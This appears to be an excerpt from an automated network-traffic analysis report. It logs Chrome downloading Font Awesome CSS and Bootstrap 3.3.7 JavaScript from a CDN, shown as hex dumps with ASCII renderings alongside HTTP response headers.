5c 66 30 64 61 22 7d 2e 66 61 2d 63 6f 6c 75 6d 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 62 
22 7d 2e 66 61 2d 75 6e 73 6f 72 74 65 64 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 3a 62 65 66 6f 72 65 7b 63 6f 
6e 74 65 6e 74 3a 22 5c 66 30 64 63 22 7d 2e 66 61 2d 73 6f 72 74 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 
6f 72 74 2d 64 65 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 64 22 7d 2e 66 61 2d 73 6f 72 74 
2d 75 70 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 6f 72 74 2d 
Data Ascii: 0d8"}.fa-caret-left:before{content:"\f0d9"}.fa-caret-right:before{content:"\f0da"}.fa-columns:before{content
:"\f0db"}.fa-unsorted:before,.fa-sort:before{content:"\f0dc"}.fa-sort-down:before,.fa-sort-desc:before{content:"\f0dd"}.fa-sort-
up:before,.fa-sort-

2022-07-01 09:00:49 UTC 861 IN Data Raw: 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 63 22 7d 2e 66 61 2d 68 2d 73 71 75 61 72 
65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 64 22 7d 2e 66 61 2d 70 6c 75 73 2d 73 71 75 61 72 
65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 65 22 7d 2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 
65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 30 22 7d 2e 66 61 2d 61 6e 67 6c 65 
2d 64 6f 75 62 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 31 22 7d 2e 66 61 
2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 32 22 7d 
2e 66 61 2d 61 6e 67 6c 65 2d 64 6f 75 62 6c 65 2d 64 6f 77 6e 
Data Ascii: r:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-
double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\
f102"}.fa-angle-double-down

2022-07-01 09:00:49 UTC 862 IN Data Raw: 6c 6c 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 74 61 72 2d 68 61 6c 66 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 31 32 33 22 7d 2e 66 61 2d 6c 6f 63 61 74 69 6f 6e 2d 61 72 72 6f 77 3a 62 65 66 6f 72 65 7b 63 
6f 6e 74 65 6e 74 3a 22 5c 66 31 32 34 22 7d 2e 66 61 2d 63 72 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 
5c 66 31 32 35 22 7d 2e 66 61 2d 63 6f 64 65 2d 66 6f 72 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 
32 36 22 7d 2e 66 61 2d 75 6e 6c 69 6e 6b 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 63 68 61 69 6e 2d 62 72 6f 6b 65 6e 3a 
62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 32 37 22 7d 2e 66 61 2d 71 75 65 73 74 69 6f 6e 3a 62 65 66 6f 
72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 32 38 22 7d 2e 
Data Ascii: ll:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{c
ontent:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-unlink:before,.fa-chain-broken:before{content:"\f127"}.fa-questi
on:before{content:"\f128"}.

2022-07-01 09:00:49 UTC 864 IN Data Raw: 22 7d 2e 66 61 2d 6c 65 76 65 6c 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 38 
22 7d 2e 66 61 2d 6c 65 76 65 6c 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 39 22 7d 
2e 66 61 2d 63 68 65 63 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 61 22 
7d 2e 66 61 2d 70 65 6e 63 69 6c 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 34 
62 22 7d 2e 66 61 2d 65 78 74 65 72 6e 61 6c 2d 6c 69 6e 6b 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 6
5 6e 74 3a 22 5c 66 31 34 63 22 7d 2e 66 61 2d 73 68 61 72 65 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 
65 6e 74 3a 22 5c 66 31 34 64 22 7d 2e 66 61 2d 63 6f 6d 70 61 73 
Data Ascii: "}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:
"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before
{content:"\f14d"}.fa-compas

2022-07-01 09:00:49 UTC 865 IN Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 37 22 7d 2e 66 61 2d 78 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 31 36 38 22 7d 2e 66 61 2d 78 69 6e 67 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 31 36 39 22 7d 2e 66 61 2d 79 6f 75 74 75 62 65 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 31 36 61 22 7d 2e 66 61 2d 64 72 6f 70 62 6f 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 
66 31 36 62 22 7d 2e 66 61 2d 73 74 61 63 6b 2d 6f 76 65 72 66 6c 6f 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 
22 5c 66 31 36 63 22 7d 2e 66 61 2d 69 6e 73 74 61 67 72 61 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 
66 31 36 64 22 7d 2e 66 61 2d 66 6c 69 63 6b 72 3a 62 65 66 6f 
Data Ascii: ontent:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:befor
e{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{cont
ent:"\f16d"}.fa-flickr:befo

2022-07-01 09:00:49 UTC 866 IN Data Raw: 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 38 65 22 7d 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6f 2d 
6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 30 22 7d 2e 66 61 2d 74 6f 67 67 6c 65 2d 6c 
65 66 74 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 63 61 72 65 74 2d 73 71 75 61 72 65 2d 6f 2d 6c 65 66 74 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 31 22 7d 2e 66 61 2d 64 6f 74 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 32 22 7d 2e 66 61 2d 77 68 65 65 6c 63 68 61 69 72 3a 62 65 66 6f 72 65 
7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 33 22 7d 2e 66 61 2d 76 69 6d 65 6f 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 34 22 7d 2e 66 61 
Data Ascii: {content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-toggle-left:before,.fa-caret-square-o-left:before{
content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{co
ntent:"\f194"}.fa

2022-07-01 09:00:49 UTC 868 IN Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 33 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 3a 62 65 
66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 34 22 7d 2e 66 61 2d 62 65 68 61 6e 63 65 2d 73 71 75 61 72 65 
3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 35 22 7d 2e 66 61 2d 73 74 65 61 6d 3a 62 65 66 6f 72 65 
7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 36 22 7d 2e 66 61 2d 73 74 65 61 6d 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 
65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 37 22 7d 2e 66 61 2d 72 65 63 79 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 31 62 38 22 7d 2e 66 61 2d 61 75 74 6f 6d 6f 62 69 6c 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 63 
61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 
Data Ascii: efore{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam
:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-
car:before{content:"\f

2022-07-01 09:00:49 UTC 869 IN Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 32 22 7d 2e 66 61 2d 67 69 74 3a 62 65 66 6f 72 65 7b 63 
6f 6e 74 65 6e 74 3a 22 5c 66 31 64 33 22 7d 2e 66 61 2d 79 2d 63 6f 6d 62 69 6e 61 74 6f 72 2d 73 71 75 61 72 65 3a 
62 65 66 6f 72 65 2c 2e 66 61 2d 79 63 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 68 61 63 6b 65 72 2d 
6e 65 77 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 34 22 7d 2e 66 61 2d 74 65 6e 63 65 6e 74 2
d 77 65 69 62 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 35 22 7d 2e 66 61 2d 71 71 3a 62 65 66 
6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 64 36 22 7d 2e 66 61 2d 77 65 63 68 61 74 3a 62 65 66 6f 72 65 2c 2e 
66 61 2d 77 65 69 78 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 
Data Ascii: ore{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-y-combinator-square:before,.fa-yc-square:before,.fa-h
acker-news:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:befo
re,.fa-weixin:before{conten
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2022-07-01 09:00:49 UTC 870 IN Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 36 22 7d 2e 66 61 2d 62 65 6c 6c 2d 73 6c 61 73 68 2d 6f 3a 62 65 66 6f 
72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 37 22 7d 2e 66 61 2d 74 72 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 31 66 38 22 7d 2e 66 61 2d 63 6f 70 79 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 31 66 39 22 7d 2e 66 61 2d 61 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 61 2
2 7d 2e 66 61 2d 65 79 65 64 72 6f 70 70 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 62 22 7d 
2e 66 61 2d 70 61 69 6e 74 2d 62 72 75 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 63 22 7d 
2e 66 61 2d 62 69 72 74 68 64 61 79 2d 63 61 6b 65 3a 62 65 66 6f 72 
Data Ascii: ontent:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before
{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-
birthday-cake:befor

2022-07-01 09:00:49 UTC 872 IN Data Raw: 61 2d 73 74 72 65 65 74 2d 76 69 65 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 31 64 22 
7d 2e 66 61 2d 68 65 61 72 74 62 65 61 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 31 65 22 7d 2e 
66 61 2d 76 65 6e 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 31 22 7d 2e 66 61 2d 6d 61 72 
73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 32 22 7d 2e 66 61 2d 6d 65 72 63 75 72 79 3a 62 65 6
6 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 33 22 7d 2e 66 61 2d 69 6e 74 65 72 73 65 78 3a 62 65 66 6f 72 65 
2c 2e 66 61 2d 74 72 61 6e 73 67 65 6e 64 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 34 22 
7d 2e 66 61 2d 74 72 61 6e 73 67 65 6e 64 65 72 2d 61 6c 74 3a 62 65 
Data Ascii: a-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-
mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f
224"}.fa-transgender-alt:be

2022-07-01 09:00:49 UTC 873 IN Data Raw: 74 65 6e 74 3a 22 5c 66 32 34 32 22 7d 2e 66 61 2d 62 61 74 74 65 72 79 2d 31 3a 62 65 66 6f 72 65 2c 2e 
66 61 2d 62 61 74 74 65 72 79 2d 71 75 61 72 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 
33 22 7d 2e 66 61 2d 62 61 74 74 65 72 79 2d 30 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 74 74 65 72 79 2d 65 6d 70 
74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 34 22 7d 2e 66 61 2d 6d 6f 75 73 65 2d 70 6f 69 6e 
74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 35 22 7d 2e 66 61 2d 69 2d 63 75 72 73 6f 72 
3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 36 22 7d 2e 66 61 2d 6f 62 6a 65 63 74 2d 67 72 6f 75 70 
3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 37 22 
Data Ascii: tent:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-
empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-g
roup:before{content:"\f247"

2022-07-01 09:00:49 UTC 874 IN Data Raw: 69 6b 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 33 22 7d 2e 66 61 2d 6f 64 6e 6f 6b 
6c 61 73 73 6e 69 6b 69 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 34 22 7d 
2e 66 61 2d 67 65 74 2d 70 6f 63 6b 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 35 22 7d 2e 
66 61 2d 77 69 6b 69 70 65 64 69 61 2d 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 36 22 7d 2e 6
6 61 2d 73 61 66 61 72 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 37 22 7d 2e 66 61 2d 63 68 72 
6f 6d 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 38 22 7d 2e 66 61 2d 66 69 72 65 66 6f 78 3a 62 
65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 36 39 22 7d 
Data Ascii: iki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f
265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-fire
fox:before{content:"\f269"}

2022-07-01 09:00:49 UTC 876 IN Data Raw: 65 6e 74 3a 22 5c 66 32 38 39 22 7d 2e 66 61 2d 73 63 72 69 62 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 
74 3a 22 5c 66 32 38 61 22 7d 2e 66 61 2d 70 61 75 73 65 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 32 38 62 22 7d 2e 66 61 2d 70 61 75 73 65 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 
6e 74 65 6e 74 3a 22 5c 66 32 38 63 22 7d 2e 66 61 2d 73 74 6f 70 2d 63 69 72 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 32 38 64 22 7d 2e 66 61 2d 73 74 6f 70 2d 63 69 72 63 6c 65 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 
6e 74 65 6e 74 3a 22 5c 66 32 38 65 22 7d 2e 66 61 2d 73 68 6f 70 70 69 6e 67 2d 62 61 67 3a 62 65 66 6f 72 65 7b 63 6
f 6e 74 65 6e 74 3a 22 5c 66 32 39 30 22 7d 2e 66 61 2d 73 68 6f 
Data Ascii: ent:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:bef
ore{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:bef
ore{content:"\f290"}.fa-sho

2022-07-01 09:00:49 UTC 877 IN Data Raw: 62 22 7d 2e 66 61 2d 73 6e 61 70 63 68 61 74 2d 67 68 6f 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 
3a 22 5c 66 32 61 63 22 7d 2e 66 61 2d 73 6e 61 70 63 68 61 74 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 
74 65 6e 74 3a 22 5c 66 32 61 64 22 7d 2e 66 61 2d 70 69 65 64 2d 70 69 70 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 
65 6e 74 3a 22 5c 66 32 61 65 22 7d 2e 66 61 2d 66 69 72 73 74 2d 6f 72 64 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 6
5 6e 74 3a 22 5c 66 32 62 30 22 7d 2e 66 61 2d 79 6f 61 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 
32 62 31 22 7d 2e 66 61 2d 74 68 65 6d 65 69 73 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 
32 22 7d 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 2d 63 69 72 63 
Data Ascii: b"}.fa-snapchat-ghost:before{content:"\f2ac"}.fa-snapchat-square:before{content:"\f2ad"}.fa-pied-piper:befor
e{content:"\f2ae"}.fa-first-order:before{content:"\f2b0"}.fa-yoast:before{content:"\f2b1"}.fa-themeisle:before{content:"
\f2b2"}.fa-google-plus-circ

2022-07-01 09:00:49 UTC 878 IN Data Raw: 31 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 71 75 61 72 74 65 72 3a 62 65 66 
6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 61 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 30 3a 62 
65 66 6f 72 65 2c 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 
6e 74 3a 22 5c 66 32 63 62 22 7d 2e 66 61 2d 73 68 6f 77 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 
66 32 63 63 22 7d 2e 66 61 2d 62 61 74 68 74 75 62 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 73 31 35 3a 62 65 66 6f 72 65 2
c 2e 66 61 2d 62 61 74 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 64 22 7d 2e 66 61 2d 70 6f 64 
63 61 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 
Data Ascii: 1:before,.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-0:before,.fa-thermometer-empty:befor
e{content:"\f2cb"}.fa-shower:before{content:"\f2cc"}.fa-bathtub:before,.fa-s15:before,.fa-bath:before{content:"\f2cd"}.fa-
podcast:before{content:"\

2022-07-01 09:00:49 UTC 879 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 104.18.10.207 443 192.168.2.5 49785 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:49 UTC 879 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:49 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=31919000
ETag: W/"5869c96cc8f19086aee625d670d741f9"
Last-Modified: Mon, 25 Jan 2021 22:04:00 GMT
CDN-CachedAt: 05/12/2022 03:05:27
CDN-ProxyVer: 1.02
CDN-RequestPullCode: 200
CDN-RequestPullSuccess: True
CDN-EdgeStorageId: 863
CDN-Status: 200
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
X-Content-Type-Options: nosniff
CDN-RequestId: 28445bfc08a8c924601229a3de06305d
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 152544
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 723df4187dfb9c01-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-07-01 09:00:49 UTC 880 IN Data Raw: 31 34 36 65 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 37 20 28 68 74 74 70 3a 
2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 
31 36 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 
4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 
6a 51 75 65 72 79 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 
53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 22 29 3b 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 
75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 62 3d 61 2e 66 6e 
Data Ascii: 146e/*! * Bootstrap v3.3.7 (http://getbootstrap.com) * Copyright 2011-2016 Twitter, Inc. * Licensed under the 
MIT license */if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use 
strict";var b=a.fn

2022-07-01 09:00:49 UTC 881 IN Data Raw: 5b 31 5d 3c 39 7c 7c 31 3d 3d 62 5b 30 5d 26 26 39 3d 3d 62 5b 31 5d 26 26 62 5b 32 5d 3c 31 7c 7c 62 5b 30 
5d 3e 33 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 
69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 20 76 65 72 73 69 6f 6e 20 31 2e 39 2e 31 20 6f 72 20 68 69 
67 68 65 72 2c 20 62 75 74 20 6c 6f 77 65 72 20 74 68 61 6e 20 76 65 72 73 69 6f 6e 20 34 22 29 7d 28 6a 51 75 65 72 
79 29 2c 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 2
8 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 
61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 
Data Ascii: [1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.
1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bo
otstrap"),b={WebkitTransiti

2022-07-01 09:00:49 UTC 882 IN Data Raw: 2a 28 3f 3d 23 5b 5e 5c 73 5d 2a 24 29 2f 2c 22 22 29 29 3b 76 61 72 20 67 3d 61 28 22 23 22 3d 3d 3d 66 3f 
5b 5d 3a 66 29 3b 62 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 67 2e 6c 65 6e 67 74 68 7c 7c 28 
67 3d 65 2e 63 6c 6f 73 65 73 74 28 22 2e 61 6c 65 72 74 22 29 29 2c 67 2e 74 72 69 67 67 65 72 28 62 3d 61 2e 45 76 
65 6e 74 28 22 63 6c 6f 73 65 2e 62 73 2e 61 6c 65 72 74 22 29 29 2c 62 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6
e 74 65 64 28 29 7c 7c 28 67 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 69 6e 22 29 2c 61 2e 73 75 70 70 6f 72 74 2e 74 
72 61 6e 73 69 74 69 6f 6e 26 26 67 2e 68 61 73 43 6c 61 73 73 28 22 66 61 64 65 22 29 3f 67 2e 6f 6e 65 28 22 62 73 
54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 63 29 2e 65 6d 75 6c 61 
Data Ascii: *(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(
b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one
("bsTransitionEnd",c).emula

2022-07-01 09:00:49 UTC 883 IN Data Raw: 70 75 74 22 29 3b 22 72 61 64 69 6f 22 3d 3d 63 2e 70 72 6f 70 28 22 74 79 70 65 22 29 3f 28 63 2e 70 72 6f 
70 28 22 63 68 65 63 6b 65 64 22 29 26 26 28 61 3d 21 31 29 2c 62 2e 66 69 6e 64 28 22 2e 61 63 74 69 76 65 22 29 2e 
72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 61 64 64 
43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 29 3a 22 63 68 65 63 6b 62 6f 78 22 3d 3d 63 2e 70 72 6f 70 28 22 74 79 7
